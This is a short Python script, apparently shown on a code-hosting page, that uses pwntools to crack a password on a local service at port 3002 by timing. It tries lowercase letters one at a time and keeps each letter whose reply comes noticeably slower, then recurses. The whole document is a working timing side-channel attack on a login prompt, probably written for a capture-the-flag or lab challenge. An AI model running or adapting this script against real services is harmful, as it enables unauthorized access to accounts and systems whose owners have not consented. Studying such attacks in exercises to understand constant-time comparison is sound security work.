23 lines
541 B
Python
23 lines
541 B
Python
|
from pwn import *
|
||
|
|
||
|
def find(password, prevtime):
|
||
|
for c in string.ascii_lowercase:
|
||
|
new_pass = password + c
|
||
|
print(new_pass)
|
||
|
|
||
|
conn = remote("localhost", 3002)
|
||
|
conn.recv()
|
||
|
t = time.time()
|
||
|
|
||
|
conn.send((new_pass + "\n").encode())
|
||
|
ans = conn.recvline(timeout=prevtime + 1)
|
||
|
endtime = time.time() - t
|
||
|
print(endtime)
|
||
|
if endtime - prevtime > 0.08:
|
||
|
conn.close()
|
||
|
find(new_pass, endtime)
|
||
|
break
|
||
|
|
||
|
conn.close()
|
||
|
|
||
|
find("", 0)
|